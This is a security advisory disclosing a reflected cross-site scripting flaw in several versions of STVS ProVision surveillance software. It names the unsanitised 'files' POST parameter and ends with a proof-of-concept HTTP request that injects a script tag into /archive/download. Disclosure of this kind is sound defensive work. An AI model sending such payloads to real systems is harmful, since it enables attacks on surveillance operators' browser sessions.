STVS ProVision 5.9.10 Authenticated Reflected Cross-Site Scripting


Vendor: STVS SA
Product web page: https://www.stvs.ch
Platform: Ruby
Affected version:  5.9.10 (build 2885-3a8219a)
                   5.9.9 (build 2882-7c3b787)
                   5.9.7 (build 2871-a450938)
                   5.9.1 (build 2771-1bbed11)
                   5.9.0 (build 2701-6123026)
                   5.8.6 (build 2557-84726f7)
                   5.7
                   5.6
                   5.5

Summary: STVS is a Swiss company specializing in development of
software for digital video recording for surveillance cameras
as well as the establishment of powerful and user-friendly IP
video surveillance networks.

Desc: Input passed to the POST parameter 'files' is not properly
sanitised before being returned to the user. This can be exploited
to execute arbitrary HTML code in a user's browser session in context
of an affected site.

Tested on: Ubuntu 14.04.3
           nginx/1.12.1
           nginx/1.4.6
           nginx/1.1.19
           nginx/0.7.65
           nginx/0.3.61


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5624
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5624.php

19.01.2021

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POST /archive/download HTTP/1.1
Host: 192.168.1.17

files=%3Cscript%3Ealert(document.URL)%3C%2Fscript%3E